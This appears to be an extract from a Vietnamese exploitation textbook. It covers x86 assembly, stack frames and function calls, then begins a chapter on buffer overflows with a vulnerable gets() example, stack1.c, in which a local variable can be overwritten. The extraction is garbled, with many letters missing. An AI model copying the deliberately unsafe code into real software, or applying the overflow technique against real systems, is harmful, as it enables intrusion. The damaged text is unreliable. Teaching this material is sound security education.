đ i 2560 = 1 đơn v . và byte v trí cao nh t có ý nghĩa l n nh t đ i v i giá tr này. và đôi khi có th t i 9 byte. b n ô nh b t đ u t đ a ch a bi u di n giá tr th p l c 4241393 8.2. Chúng có th chi m 1 ho c 2 byte. b n đ c cũng chú ý r ng các ô nh có th ch a cùng m t d li u (các byte 38. nhưng s ch x lý 1 byte theo như yêu c u c a chương trình. Làm sao CPU bi t l y 8 bit nào? Các nhà thi t k vi x lý Intel x86 32 bit đã quy t đ nh tuân theo tính k t thúc nh (little endian). . Vi c này cũng gi ng như ta có m t thùng hàng to nhưng bên trong ch đ m t v t nh . K t thúc nh là quy ư c v tr t t và ý nghĩa các byte trong m t ki u trình bày d li u mà byte v trí cu i (v trí th p nh t) có ý nghĩa nh hơn byte v trí k .1). trong khi thay đ i 1 đơn v byte cao làm giá tr thay đ i 2563 = 16777216 đơn v . Ví d trong Hình 2. Đi u này d n đ n câu h i v kích thư c các ki u d li u nh hơn 32 bit.

2.. KI N TRÚC MÁY TÍNH thấp 42413938 cao thấp "89AB" cao . .. 38 39 41 42 00 .. 38 39 41 42 . a a+1 a+2 a+3 a a+1 a+2 a+3 (a) Đ i v i giá tr 42413938 (b) Đ i v i chu i “89AB” Hình 2..3: Tính k t thúc nh 19 .....2.

con ngư i s g p nhi u khó khăn n u bu c ph i đi u khi n máy tính b ng cách s d ng mã máy tr c ti p. JB. Nhìn chung. Giá tr tr c ti p không th đóng vai trò c a dst. DEC. l nh s h c ADD s đư c th c hi n v i hai đ i s dst và src. MOV. hay nói cách khác là thi t l p giá tr c a EAX b ng 0. SETZ. Nhóm l nh ngăn x p là nh ng l nh dùng đ đ y giá tr vào ngăn x p. DIV. Tùy vào m i l nh riêng bi t mà dst và src có th có các d ng khác nhau. JZ. Chúng đư c g i là h p ng . NEG. 2. 2. POPA. t c là No Operation. nhưng v n gi đư c tính c p th p c a mã máy. Nhóm l nh s h c là nh ng l nh dùng đ tính toán bi u th c s h c ví d như INC.2. MUL. 2. ho c nhi u nh t là 3 đ i s .2. Thay cho 31 C0 s có XOR EAX. 6789ABCD s gán giá tr 6789ABCD vào thanh ghi EAX. 1. Do đó. Nhóm l nh lu n lý là nh ng l nh dùng đ tính toán bi u th c lu n lý ví d như AND. EAX. PUSHA. Chúng ta s ch đi m qua các nhóm và nh ng l nh sau.4.1 Các nhóm l nh H p ng có nhi u nhóm l nh khác nhau. Giá tr tr c ti p là m t giá tr c th như 6789ABCD. t c là th c hi n phép toán lu n t XOR gi a hai giá tr thanh ghi EAX v i nhau và lưu k t qu vào l i thanh ghi EAX. Pascal đư c xem là ngôn ng l p trình th h th ba vì chúng g n v i ngôn ng t nhiên hơn h p ng . CMP. POP. SUB. và l y giá tr t ngăn x p ra ví d như PUSH. XOR. JA. MÁY TÍNH VÀ BIÊN D CH Tuy nhiên.2 Cú pháp M i l nh h p ng có th nh n 0. và các l nh nh y có đi u ki n như JNZ. . Nhóm l nh hàm là nh ng l nh dùng trong vi c g i hàm và tr k t qu t m t hàm ví d như CALL và RET. Nhóm l nh so sánh là nh ng l nh dùng đ so sánh giá tr c a hai đ i s và thay đ i thanh ghi EFLAGS ví d như TEST. ADD. chúng ta đã sáng ch ra m t b t v ng khác g n v i ngôn ng t nhiên hơn. H p ng đư c xem là ngôn ng l p trình th h th hai.20 CHƯƠNG 2.4. V i d ng này. ho c thanh ghi ví d như LEA. Rõ ràng b t v ng này d hi u hơn các giá tr khó nh kia. Các ngôn ng khác như C. chúng ta có các d ng sau đây cho dst và src. Nhóm l nh nh y là nh ng l nh dùng đ thay đ i lu ng th c thi c a CPU bao g m l nh nh y không đi u ki n JMP. OR. th hi n công th c dst = dst + src. Nhóm l nh gán là nh ng l nh dùng đ gán giá tr vào ô nh . r i k t qu cu i cùng s đư c l i trong dst. Đa s các trư ng h p chúng ta s g p l nh có hai đ i s theo d ng tương t như ADD dst. Ví d MOV EAX. Thay vì chúng ta s d ng giá tr 90 thì chúng ta dùng t v ng NOP. src.

21 B nh là giá tr t i ô nh có đ a ch đư c ch đ nh.4. hay POP con tr l nh đ u b thay đ i 4 đơn v nên m t ô (slot) ngăn x p s có đ dài 4 byte. Ví d MOV EAX. Trong ph n này chúng ta s bàn t i các l nh và thanh ghi đ c bi t có nh hư ng đ n ngăn x p. trong su t quá trình s d ng ngăn x p. ESP đư c gán giá tr ESP + 4. và s đư c d ra đ u tiên. Thanh ghi ESP lưu gi v trí đ nh ngăn x p. 2. Thao tác l y t ngăn x p ra là l nh POP. Chương trình s s d ng vùng nh này đ ch a các bi n c c b (local variable). Trong các c u trúc khác. Ngư c l i. [ECX + EBX] s gán giá tr 32 bit b t đ u t ô nh t i đ a ch là t ng giá tr c a hai thanh ghi EBX và ECX. vì m i l n PUSH. Chúng ta cũng s g p các thanh ghi trong đ a ch ô nh ví d như l nh MOV EAX. đ a ch này đư c đ t trong hai ngo c vuông. . 2. Đ i s c a l nh PUSH đư c chuy n vào 4 byte trong b nh b t đ u t đ a ch do ESP xác đ nh. ESP đư c gán giá tr ESP . nên còn đư c g i là con tr ngăn x p (stack pointer). hay 32 bit. ECX. thao tác l y giá tr t ngăn x p s khi n CPU th c hi n hai tác v đ o: 1. Trong c u trúc Intel x86 32 bit. và lưu l i quá trình g i hàm. 2.2. Các đ i tư ng đư c đưa vào ngăn x p sau cùng s đư c l y ra đ u tiên. th c thi c a chương trình. Xem ví d trên.2. Ngăn x p ho t đ ng theo nguyên t c vào sau ra trư c (Last In. EBX.2.4. gán đ a ch ) v i cùng đ i s như trên s gán giá tr là t ng c a ECX và EBX vào thanh ghi EAX vì đ a ch ô nh c a src chính là ECX + EBX. Đ tránh nh m l n v i giá tr tr c ti p. KI N TRÚC MÁY TÍNH Thanh ghi là các thanh ghi như EAX.4. First Out). t c giá tr c a ESP s b gi m đi 4.3 Ngăn x p Chúng ta nh c đ n ngăn x p (stack) trong khi bàn v các nhóm l nh Ti u m c 2. Ngoài ra.2. B n đ c cũng nên lưu ý r ng l nh LEA (Load Effective Address. Thùng hàng đư c ch ng lên cu i cùng s trên cùng. đ nh ngăn x p có th có giá tr cao hơn các v trí còn l i. khi ta đưa m t giá tr vào ngăn x p thì CPU s tu n t th c hi n hai thao thác nh : 1. [6789ABCD] s gán giá tr 32 bit b t đ u t ô nh 6789ABCD vào thanh ghi EAX. Khái ni m này tương t như vi c chúng ta ch ng các thùng hàng lên trên nhau. Như v y. EDX. Chúng ta nh n ra r ng khái ni m đ nh ngăn x p trong c u trúc Intel x86 s có giá tr th p hơn các v trí còn l i c a ngăn x p vì m i l nh PUSH s gi m đ nh ngăn x p đi 4 đơn v .1. chúng ta luôn c n bi t v trí đ nh c a ngăn x p. B n byte b nh b t đ u t đ a ch do ESP xác đ nh s đư c chuy n vào đ i s c a l nh POP. Ngăn x p là m t vùng b nh đư c h đi u hành c p phát s n cho chương trình khi n p. t c giá tr c a ESP s đư c tăng thêm 4. t c đ a ch ô nh c a đ i tư ng đư c đưa vào ngăn x p sau cùng. Thao tác đưa m t đ i tư ng vào ngăn x p là l nh PUSH.

. lu ng th c thi s ph i đư c tr l i cho main đ ti p t c th c hi n nh ng tác v k ti p. Chúng ta th y r ng khi k t thúc bình thư ng. (a) Trư c BFFFF6C0 . và sau khi th c hi n l nh POP EAX. 2. Hình 2. lu ng th c thi s tr v ngay sau l nh g i hàm printf trong main.4: Trư c và sau l nh PUSH EAX Gi s như ESP đang có giá tr BFFFF6C0. và EAX có giá tr 42413938.. Gi s 4 byte b nh b t đ u t đ a ch BFFFF6BC có giá tr l n lư t là 38. Hình 2.. MÁY TÍNH VÀ BIÊN D CH XX: không xác định BFFFF6C0 .4. ESP=BFFFF6C0 EAX=42413938 XX XX XX XX . Khi đư c chuy n qua h p ng .2. và sau khi th c hi n l nh PUSH EAX..5 minh h a tr ng thái c a b nh và giá tr các thanh ghi trư c. ESP=BFFFF6BC EAX=42413938 38 đưa vào 39 41 42 .4 Các l nh g i hàm Ngăn x p còn ch a m t thông tin quan tr ng khác liên quan t i lu ng th c thi c a chương trình: đ a ch con tr l nh s chuy n t i sau khi m t hàm k t thúc bình thư ng. Gi s trong hàm main chúng ta g i hàm printf đ in ch “Hello World!” ra màn hình.. Sau khi printf đã hoàn thành nhi m v đó.6 mô t quá trình g i hàm và tr v t m t hàm con (hàm đư c g i).22 CHƯƠNG 2.. và ESP đang có giá tr là BFFFF6BC. chúng ta có đo n mã tương t như sau: 08048446 ADD ESP.. -0x0C .. 41. Hình 2. 39.4 minh h a tr ng thái c a b nh và giá tr các thanh ghi trư c. (b) Sau Hình 2. 42.

L nh RET th c hi n hai tác v đ o: 1. Tác v này có th đư c hi u như m t l nh PUSH $+5 v i $ là đ a ch c a l nh hi n t i (0804844E). Sau khi th c hi n xong nhi m v c a mình. Gán con tr l nh b ng giá tr đã nh n đư c bư c 1. t c đ a ch hàm printf như trong ví d . 39 41 42 .. Chuy n con tr l nh t i v trí c a đ i s . Tác v này tương t như m t l nh POP. .2.. 2.. lấy ra 38 39 41 42 . Đưa đ a ch c a l nh k ti p ngay sau l nh CALL (08048453) vào ngăn x p.. tham s đ u tiên c a printf đư c đưa vào ngăn x p. KI N TRÚC MÁY TÍNH 23 BFFFF6C0 ESP=BFFFF6BC EAX=XXXXXXXX 38 . Giá tr 08048580 là đ a ch c a vùng nh ch a chu i “Hello World!”. (a) Trư c BFFFF6C0 ESP=BFFFF6C0 EAX=42413938 ... 2. hàm printf s chuy n con tr l nh v l i giá tr đã đư c l nh CALL lưu trong ngăn x p thông qua l nh RET. 0x10 T i đ a ch 08048449...2. Ti p đó l nh CALL th c hi n hai tác v tu n t : 1. (b) Sau Hình 2.5: Trư c và sau l nh POP EAX 08048449 0804844E 08048453 PUSH CALL ADD 0x08048580 printf ESP. L y giá tr trên đ nh ngăn x p.

JB. đ a ch m i c a con tr l nh là đ i s c a l nh tương ng. về B . trư c khi chúng ta bàn t i tràn b đ m. m t vài ki n th c v cách trình biên d ch chuy n t mã C sang mã máy. Thông qua các l nh nh y như JMP. .. Cho đ n đây.7 và Hình 2.. Đây là nguyên t c cơ b n đ t n d ng l i tràn b đ m. 2..6: G i vào và tr v t m t hàm Hình 2. Thông qua l nh g i hàm CALL. Hình 2.8 mô t tr ng thái thanh ghi và b nh trư c và sau khi th c hi n l nh CALL. chúng ta bu c ph i thay đ i l nh. JNZ.. và do đó đư c chèn th ng vào trong mã máy.. Riêng cách cu i cùng d a ch con tr l nh đư c l y ra t trên ngăn x p. N u mu n thay đ i đ a s d ng trong hai cách đ u. Thông qua l nh tr v RET.. Tuy nhiên. và l nh RET. Đ i v i cách m t và hai. b n đ c có th nh n th y r ng chúng ta có ba cách đ đi u khi n lu ng th c thi c a chương trình: 1. Đi u này cho phép chúng ta x p đ t d li u và làm nh hư ng đ n l nh th c thi. . printf gọi printf("Hello World!").24 CHƯƠNG 2. MÁY TÍNH VÀ BIÊN D CH main A . 3. và v trí các bi n c a hàm đư c s p x p trên b nh s giúp ích r t nhi u trong vi c t n d ng l i. JA.

ADD   ESP. 85 XX 04 XX 08 XX . . PUSH  EBP MOV   EBP.. 85 84 04 04 08 08 .7: Trư c và sau l nh CALL ...... ESP EIP=B7EF22F0 ESP 80 53 . (b) Sau Hình 2... (a) Trư c ..2.. KI N TRÚC MÁY TÍNH 25 ..2. -0x0C PUSH  0x08048580 CALL  printf EIP=0804844E ESP 80 XX ADD   ESP. 0x10 ....

EIP=B7EF2328 ESP 80 53 . 0x10 POP   EBX POP   EBP RET .... 85 84 04 04 08 08 ...26 CHƯƠNG 2. 0x10 EIP=08048453 ESP 80 53 . ADD   ESP.. (a) Trư c . 85 84 04 04 08 08 .. (b) Sau Hình 2..... -0x0C PUSH  0x08048580 CALL  printf ADD   ESP. ADD   ESP.8: Trư c và sau l nh RET .. MÁY TÍNH VÀ BIÊN D CH ...

ESP ESP. K t thúc (epilog) là ph n cu i c a m t hàm. m ng 7 char. M i m t char đư c GCC . có nhi m v lưu tr thông tin v vùng nh (frame) c a hàm g i (caller) – hàm đang xét là hàm đư c g i (callee) – và c p phát b nh cho các bi n n i b trư c khi thân hàm đư c th c thi. ki u int. có hai bi n t đ ng (automatic variable) tên a. Trong ví d trên ta th y ESP b gi m đi 20 đơn v . trình biên d ch s t o ra m t hàm tương ng có ba ph n: D n nh p (prolog) là ph n đ u c a m t hàm. } Đây là m t hàm tên func. Đ i v i b t kỳ m t hàm C nào. sau l nh này EBP và ESP đ u tr đ n cùng m t ô trên ngăn x p. Trư c tiên bi n c có ki u int nên s đư c GCC c p phát 4 byte. 0x20 Hai dòng l nh đ u tiên lưu giá tr c a thanh ghi EBP vào ngăn x p.3. return 0 . int b ) { int c . Kho ng tr ng này chính là ph n b nh đư c c p phát cho các bi n n i b trong hàm. 2. Như v y. và b. và e. bao g m các l nh th c hi n nhi m v c a hàm. Hàm này còn có ba bi n n i b (local variable) tên c. Đo n mã C đư c li t kê dư i: 1 2 3 4 5 6 7 int f u n c ( int a . Như v y. TRÌNH BIÊN D CH VÀ C U TRÚC M T HÀM 27 2.95 biên d ch m t hàm đơn gi n vi t b ng C sang h p ng ra sao. short e . L nh th ba gi m giá tr c a con tr ngăn x p xu ng m t s đơn v nh t đ nh. Chúng ta hãy th tính xem hàm đang xét c n bao nhiêu byte b nh cho các bi n này. cũng ki u int. Trong ph n này chúng ta s xem xét trình biên d ch GCC phiên b n 2. có nhi m v h y b vùng nh đã đư c c p phát ph n d n nh p đ ng th i chuy n l i vùng nh c a hàm g i. char d [ 7 ] .3 Trình biên d ch và c u trúc m t hàm Trình biên d ch th c hi n vi c chuy n mã ngôn ng c p cao như h p ng .1 D n nh p Thông thư ng. hay Pascal sang mã máy. giá tr dòng l nh th ba ph i luôn luôn l n hơn ho c b ng v i t ng đ l n c a các bi n n i b . và ô này ch a giá tr EBP cũ (saved EBP).2. Bi n d là m ng 7 ph n t ki u char. d.3. C. Thân là ph n chính c a hàm. ph n d n nh p g m hai dòng l nh chính và m t dòng l nh ph như sau: PUSH MOV SUB EBP EBP. và sau đó gán giá tr hi n t i c a con tr ngăn x p cho EBP. ki u int. ki u short. Hàm tr v m t giá tr ki u int.

Do đó t i thi u ESP ph i b gi m đi 10 đơn v . trong thân hàm giá tr c a thanh ghi EBP không thay đ i. EBP cũ c d d EBP ESP 20 e dư dư dư dư . trong mã C. Như v y.3. L nh này th c hi n phép lu n lý XOR gi a thanh ghi EAX và chính nó. và trong ví d này ESP đã b gi m đi 20 đơn v . thì 4 byte s đư c dành cho riêng c.. chúng ta s d ng câu l nh return 0.. Cu i cùng là bi n e s đư c c p 4 byte thay vì 2 byte cho ki u short v i cùng lý do. Hình 2. v trí các bi n trên ngăn x p s đư c c p theo v trí xu t hi n c a chúng trong mã ngu n C. Đi m này cho ta bi t r ng giá tr tr v c a m t hàm s đư c lưu trong thanh ghi EAX. Gi s như mã ngu n ch có m t bi n n i b c. và câu l nh này tương ng v i l nh XOR trên.9: V trí các bi n n i b trên ngăn x p c p phát 1 byte. Sau khi th c hi n l nh. EAX.28 CHƯƠNG 2. N u mã ngu n có hai bi n n i b l n lư t là c và d thì 4 byte đ u tiên s dùng cho c. t ng c ng b nh c n c p phát cho bi n n i b s là 4 + 8 + 4 = 10. và 8 byte k ti p s đư c dùng cho d. Có hai đi u chúng ta c n lưu ý đây. Th nh t. Đích th c k t qu c a 7 × 1 s là 7 nhưng vì lý do t i ưu hóa t c đ truy c p b nh và đ con tr ngăn x p luôn có giá tr chia h t cho 4 nên GCC s c p phát 8 byte thay vì 7 byte. nhi u hơn c n thi t. MÁY TÍNH VÀ BIÊN D CH . Trong ví d đơn gi n c a chúng ta. và 4 byte cu i cho e như trong Hình 2. Th hai. thân hàm s ch có m t l nh XOR EAX. Trong t ng s ô nh đư c dành cho các bi n n i b . k t qu đư c lưu l i vào thanh ghi EAX. 8 byte k cho d. Tương t v i ví d c a chúng ta. 2.. thanh ghi EAX s ch a giá tr 0. Như v y bi n d s đư c c p 8 byte. Không. Đi m . tác gi đã không nh m l n khi th c hi n phép nhân m t v i b y.. 4 byte đ u tiên s đư c dành cho c.2 Thân Thân hàm bao g m các l nh th c hi n m c đích c a hàm.9.

Đây là do quá trình t i ưu hóa c a trình biên d ch và đư c xem xét t i k hơn trong chương trình đào t o t i trung tâm c a tác gi . nhưng trong quá trình th c hành đ c gi s có th th y các l nh này tuy v n tuân theo th t đó. Sau đó l nh CALL s ti p . 2. Khi c n lưu m t giá tr nào đó vào ngăn x p thì ta dùng l nh PUSH.3 K t thúc Cũng như d n nh p. TRÌNH BIÊN D CH VÀ C U TRÚC M T HÀM này không đư c nêu rõ trong ví d nhưng s đư c nói t i ph n k .3. Hình 2.3. chúng ta đã k t thúc trao đ i v v trí các bi n n i b trên ngăn x p. trình biên d ch s chuy n các l i g i đ n hàm func thành nh ng dòng l nh sau: PUSH PUSH CALL b a func Như v y hai đ i s đư c đưa vào ngăn x p theo th t ngư c l i v i th t chúng đư c khai báo thông qua hai dòng l nh PUSH. chính giá tr này s đư c ph c h i qua l nh POP EBP. Ph n k s bàn ti p v các đ i s (tham s . Có m t đi m nh b n đ c s nh n ra r ng s l nh PUSH và s l nh POP thư ng s cân b ng v i nhau. Đ làm đư c vi c này.10 mô t c u trúc b nh c a ví d hàm đơn gi n mà chúng ta v a trao đ i. Như ta có PUSH EBP ph n d n nh p thì k t thúc ta có POP EBP. Giá tr hi n t i c a EBP s đư c gán vào cho con tr ngăn x p. Câu h i đây là giá tr nào trên ngăn x p s đư c gán cho EBP. rõ ràng giá tr EBP ph i không b thay đ i trong su t thân hàm sao cho khi ph c h i con tr ngăn x p thì ESP s v l i v trí ch a giá tr EBP cũ. EBP EBP Hai l nh đ u tiên th c hi n tác v đ o c a ph n d n nh p. và sau đó EBP đư c ph c h i v i giá tr đã lưu trên ngăn x p. giá tr EBP cũ đư c lưu l i v i l nh PUSH EBP. nhưng đ ng th i cũng có các l nh khác chèn vào. đ i s a đư c khai báo trư c đ i s b. T i đây. Và sau khi th c hi n l nh RET. Đây chính là kh năng ch a d li u t m c a ngăn x p. Khi chuy n sang h p ng .3. ngay sau giá tr EBP cũ trên ngăn x p s ph i là đ a ch tr v đ l nh RET s d ng. Đ c gi cũng xin đư c lưu ý r ng th t các l nh đư c trình bày đây là theo cách thông thư ng nh t. Chúng ta v n còn nh trong ph n d n nh p. cùng ki u int. con tr ngăn x p s tr t i v trí trên đ a ch tr v .4 G i hàm Chúng ta nh r ng hàm func nh n vào hai đ i s là a và b. Dòng l nh th ba thay đ i lu ng đi u khi n quay v hàm g i. 29 2. và giá tr tr v c a hàm. ph n k t thúc. ho c các l nh này đư c thay th b i các l nh tương ng.2. và khi l y ra ta dùng l nh POP. Như v y. parameter) c a hàm. k t thúc g m hai l nh chính và m t l nh ph : MOV POP RET ESP.

. .3..12. Hình 2. MÁY TÍNH VÀ BIÊN D CH . Con tr vùng nh c a chúng ta chính là EBP vì EBP luôn luôn ch t i ô ngăn x p ch a giá tr EBP cũ và nh ng đ i tư ng khác đ u có th đư c xác đ nh theo giá tr c a thanh ghi EBP ví d như bi n c s đư c ch t i b i EBP−4. địa chỉ trở về EBP cũ c d d e . Ví d hàm main g i hàm func và hàm func đang đư c th c hi n thì chúng ta s có các vùng nh ngăn x p như trong Hình 2. M i vùng nh tương ng v i m t l nh g i hàm chưa k t thúc. .. . Các d li u khác đư c truy xu t thông qua v trí tương đ i đ i v i con tr vùng nh . M i vùng nh ngăn x p ch a thông tin tr ng thái c a m t hàm như chúng ta đã bàn qua bao g m các đ i s . T t c các ô ngăn x p t v trí đ i s cu i cùng (v trí c a b) cho đ n v trí c a bi n n i b cu i cùng (v trí c a e) đư c g i là m t vùng nh ngăn x p (stack frame).11.. ta cũng s th y r ng các đ i tư ng . K t h p v i nh ng gì chúng ta đã bàn qua Ti u m c 2. bi n d đư c ch t i b i EBP−C.30 CHƯƠNG 2. thông tin v vùng nh c a hàm g i.. đ a ch tr v c a hàm.5 Con tr vùng nh Hàm th c thi có th truy xu t các d li u tr ng thái thông qua con tr vùng nh (frame pointer). D a vào g c đ i chi u là thanh ghi EBP. chúng ta có th d ng nên mô hình hoàn ch nh v c u trúc ngăn x p c a m t hàm như minh h a trong Hình 2. Và chúng ta luôn luôn đ nh v đư c phím F vì nó là phím có g bên tay trái trên bàn phím cho nên ta s xác đ nh đư c phím A . và các bi n n i b .10: B nh và thanh ghi sau khi k t thúc hàm t c đưa đ a ch tr v vào ngăn x p và chuy n con tr l nh t i ph n d n nh p c a hàm func. Con tr vùng nh luôn luôn ch t i v trí c đ nh c a m t vùng nh .. 2. Vi c làm này tương t như khi nói “phím A cách phím F v phía trái 3 phím”.1. EBP=EBP cũ ESP .3.

địa chỉ trở về EBP cũ .3... b a địa chỉ trở về EBP EBP cũ c d d e . đối số của main .. biến nội bộ của main .. vùng nhớ của main vùng nhớ của func Hình 2.. TRÌNH BIÊN D CH VÀ C U TRÚC M T HÀM 31 .. vùng nhớ ngăn xếp Hình 2.. ..2..... địa chỉ trở về main EBP của main .12: Các vùng nh ngăn x p .. đối số của func .. biến nội bộ của func ..11: Mô hình ngăn x p c a m t hàm ......

11. 6789ABD0 đối số 2 đối số 1 6789ABCC địa chỉ trở về EBP của hàm gọi 6789ABC8 biến nội bộ biến nội bộ .. đ i s th nh t s là EBP+8.13. thì ta cũng s tìm đư c phím A vì c u trúc bàn phím không thay đ i. 6789ABCC địa chỉ trở về . đ i s th hai s là EBP+C... MÁY TÍNH VÀ BIÊN D CH khác đư c s p x p m t cách khá h p lý và gi i thích lý do t i sao đ i s c a hàm đư c đưa vào ngăn x p theo th t ngư c.. Cũng gi ng như khi ta đã xác đ nh đư c b t kỳ phím nào trên bàn phím là phím gì.. chúng ta cũng có th hoàn toàn xác đ nh đư c vai trò c a nh ng ô ngăn x p khác trong vùng nh khi đã xác đ nh đư c vai trò c a m t ô b t kỳ còn l i. . Ngoài ra. gi s như ta xác đ nh đư c r ng ô ngăn x p t i đ a ch 6789ABCC gi đ a ch tr v c a hàm thì ô ngăn x p t i đ a ch 6789ABC8 s gi giá tr EBP c a hàm g i. và ô ngăn x p t i đ a ch 6789ABD0 s là đ i s th nh t như trong Hình 2.13: Xác đ nh vai trò các ô ngăn x p . t c đ a ch ô nh c a các đ i s tăng d n theo th t khai báo.32 CHƯƠNG 2. đ a ch c a các bi n gi m d n theo th t khai báo. (a) Xác đ nh vai trò c a m t ô ngăn x p ... Khi đó. V i mô hình c u trúc b nh c a m t hàm đã đư c thi t l p trong Hình 2. (b) Xác đ nh vai trò các ô còn l i Hình 2.. Tương t .

• B vi x lý Intel x86 32 bit g m có các thanh ghi chung. Mô hình này không thay đ i nên khi xác đ nh đư c vai trò c a m t ô ngăn x p thì vai trò c a các ô ngăn x p khác cũng đư c xác đ nh. đơn v nh nh t c p phát cho các bi n n i b là m t ô ngăn x p. Intel CPU truy c p b nh theo quy ư c k t thúc nh . POP. • M t hàm thư ng đư c biên d ch ra thành ba ph n. còn đư c bi t đ n như là ngôn ng l p trình th h th hai. Các l nh này làm thay đ i giá tr c a thanh ghi ESP. Chuy n đ i qua l i gi a h nh phân và h th p l c phân còn có th s d ng b ng tra c u t ng c m 4 bit. TÓM T T VÀ GHI NH 33 2. • Khi g i hàm. • B nh đư c đ nh đ a ch m t cách tuy n tính theo đ r ng c a đư ng truy n đ a ch (32 bit). và các bi n n i b . trong khi POP tăng giá tr c a ESP. H p ng là b t v ng dành cho con ngư i. • Có nhi u nhóm l nh như nhóm l nh nh y. • Giá tr tr v c a m t hàm thư ng đư c ch a trong thanh ghi EAX. bao g m các mã máy. hay còn g i là ngôn ng l p trình th h th nh t. Các l nh nh hư ng t i ngăn x p ch y u g m PUSH. Ph n thân th c hi n các tác v đ đ t đư c m c tiêu c a hàm. đ a ch tr v . • T p l nh là t v ng c a CPU. Ph n d n nh p kh i t o vùng nh c a hàm. Ngăn x p ch a thông tin v các bi n n i b c a chương trình và quá trình th c thi chương trình. • Trong GCC 2.2. byte đ a ch th p mang ít ý nghĩa hơn byte đ a ch cao. Con tr ngăn x p luôn luôn ch đ n đ nh ngăn x p. hay còn g i là con tr ngăn x p.95. • Máy tính ch s d ng h nh phân do đó c n m t quy ư c đ bi u di n các ký t ch cái. thân và k t thúc. • Vùng nh ngăn x p c a m t hàm b t đ u v i các đ i s . . Đ t i ưu hóa truy c p b nh . thanh ghi ngăn x p. • Trình biên d ch chuy n t ngôn ng c p cao hơn ra mã máy. nhóm l nh hàm. và RET.4.4 Tóm t t và ghi nh • H cơ s nh phân. Các l nh này thư ng có cú pháp g m hai đ i s trong đó đ i s đ u tiên thư ng nh n k t qu c a l nh. PUSH gi m giá tr c a ESP. CALL. nhóm l nh s h c. • Ngăn x p là vùng nh đư c h đi u hành c p cho chương trình khi n p nó vào b nh . B ng mã ASCII là m t trong các quy ư c đó. d n nh p. và th p l c phân có th đư c chuy n đ i qua l i d a vào công th c toán h c. nhóm l nh ngăn x p. giá tr EBP cũ. th p phân. Ph n k t thúc l y l i vùng nh đã đư c c p phát ph n d n nh p và thi t l p l i vùng nh c a hàm g i. thanh ghi c . và lưu thông tin v vùng nh c a hàm g i. các đ i s c a hàm đư c đưa vào ngăn x p theo th t ngư c l i v i th t chúng đư c khai báo. các bi n n i b c a hàm đư c phân b các ô ngăn x p theo th t chúng đư c khai báo.

Giá tr c a EBP không thay đ i trong su t quá trình th c thi c a hàm và luôn tr t i ô ngăn x p ch a giá tr EBP c a hàm g i.34 CHƯƠNG 2. . MÁY TÍNH VÀ BIÊN D CH • Vai trò c a các ô ngăn x p trong vùng nh c a m t hàm còn có th đư c xác đ nh và truy c p thông qua con tr vùng nh EBP.

tuy ta có th thay đ i d li u quan tr ng. nhưng l i ph bi n và nguy hi m nh t. Ph n d li u tràn ph i tràn t i đư c d li u quan tr ng. N u như trong Hình 3. quay v b n thân hàm.1 Gi i thi u Tràn b đ m là l i x y ra khi d li u x lý (thư ng là d li u nh p) dài quá gi i h n c a vùng nh ch a nó. d li u quan tr ng b thay đ i v n ph i còn ý nghĩa v i chương trình.1 mô t v trí d li u và quá trình tràn b đ m.org/top25errors 35 . các cách t n d ng l i thông thư ng như thay đ i giá tr bi n. tràn b đ m luôn luôn đư c li t kê vào hàng danh sách các l i đe d a nghiêm tr ng đ n s an toàn h th ng. chúng ta s xem xét b n ch t c a l i tràn b đ m là gì. n u phía sau vùng nh này có ch a nh ng d li u quan tr ng t i quá trình th c thi c a chương trình thì d li u dư có th s làm h ng các d li u quan tr ng này. d tránh. d li u quan tr ng n m bên trái thì cho dù d li u tràn có nhi u đ n m y cũng không th làm thay đ i d li u quan tr ng. 3. quay v thư vi n chu n và liên k t nhi u l n quay v thư vi n chu n. Năm 2009. chúng ta nh n ra ba đi m thi t y u c a vi c t n d ng l i tràn b đ m: 1. D li u quan tr ng ph i n m phía sau d li u có th b tràn. Ngay t khi đư c bi t đ n cho t i ngày nay. nhưng chưa đ dài đ có th làm thay đ i giá tr c a d li u quan tr ng n m cách xa đó. t ch c SANS đưa ra báo cáo 25 l i l p trình nguy hi m nh t1 trong đó v n có l i tràn b đ m. Trong nhi u trư ng h p.1. Chúng ta s đi qua m t lo t nh ng ví d t cơ b n đ n ph c t p đ nh n ra nh ng giá tr quan tr ng trong quá trình th c thi c a m t chương trình. Hình 3. 1 http://www.sans. Tuy nhiên. 2. Trong chương này. Và ch đơn gi n như v y. Tùy thu c vào cách x lý c a chương trình đ i v i các d li u quan tr ng mà ngư i t n d ng l i có th đi u khi n chương trình th c hi n tác v mong mu n. 3. Qua đó. Đôi khi ta có th làm tràn b đ m m t s lư ng ít d li u.Chương 3 Tràn b đ m Tràn b đ m là lo i l i thông thư ng. Cu i cùng.

.... TRÀN B Đ M dữ liệu nhập dữ liệu quan trọng ..... .... . (c) D li u quan tr ng b ghi đè Hình 3.. (a) M t ít d li u dữ liệu nhập dữ liệu quan trọng ... (b) D li u nh p dài hơn dữ liệu nhập dữ liệu quan trọng .36 CHƯƠNG 3. ..1: Tràn b đ m .... . .

regular@exploitation:~/src$ gcc -o stack1 stack1.c:(. Ngu n 3. 12 } 13 } Ngu n 3.1: stack1. chúng ta đã s n sàng xem xét m t lo t ví d đ tìm d li u quan tr ng bao g m nh ng d li u gì và cách th c s d ng chúng. &c o o k i e : %p\n" . &c o o k i e ) .95. Trong t t c các ví d sau. 7 p r i n t f ( "&buf : %p . 3. THAY Đ I GIÁ TR BI N N I B 1 #include <s t d i o . Ngoài ra. Đây là m t nguyên t c cơ b n trong các cơ ch ch ng t n d ng l i tràn ngăn x p c a các trình biên d ch hi n đ i.text+0x26): warning: the ‘gets’ function is dangerous and should not be used. đ c gi cũng đư c lưu ý v phiên b n GCC đang s d ng là phiên b n 2.2.1 nh n m t chu i t b nh p chu n (stdin) .1 là ví d đ u tiên c a chúng ta.3.o: In function ‘main’: stack1. Đ biên d ch nh ng ví d tương t ta s dùng cú pháp l nh gcc -o <tên> <tên. regular@exploitation:~/src$ gcc -v Reading specs from /usr/lib/gcc-lib/i486-linux-gnu/2. 9 i f ( c o o k i e == 0 x41424344 ) 10 { 11 p r i n t f ( "You win ! \ n" ) . B n đ c d dàng nh n ra r ng GCC đã c nh báo v s nguy hi m c a vi c s d ng hàm gets. ngư i t n d ng l i ph i hi u rõ chương trình ho t đ ng như th nào.c /tmp/ccxYIaRx.95.4/specs gcc version 2. Các cơ ch này đư c bàn đ n chi ti t trong chương trình gi ng d y nâng cao t i trung tâm đào t o c a tác gi . 8 g e t s ( buf ) . buf .c> như trong hình ch p bên dư i.2 Thay đ i giá tr bi n n i b Ngu n 3.c 37 nhưng trong quá trình đó ta cũng thay đ i các d li u khác (ví d như các c lu n lý) và 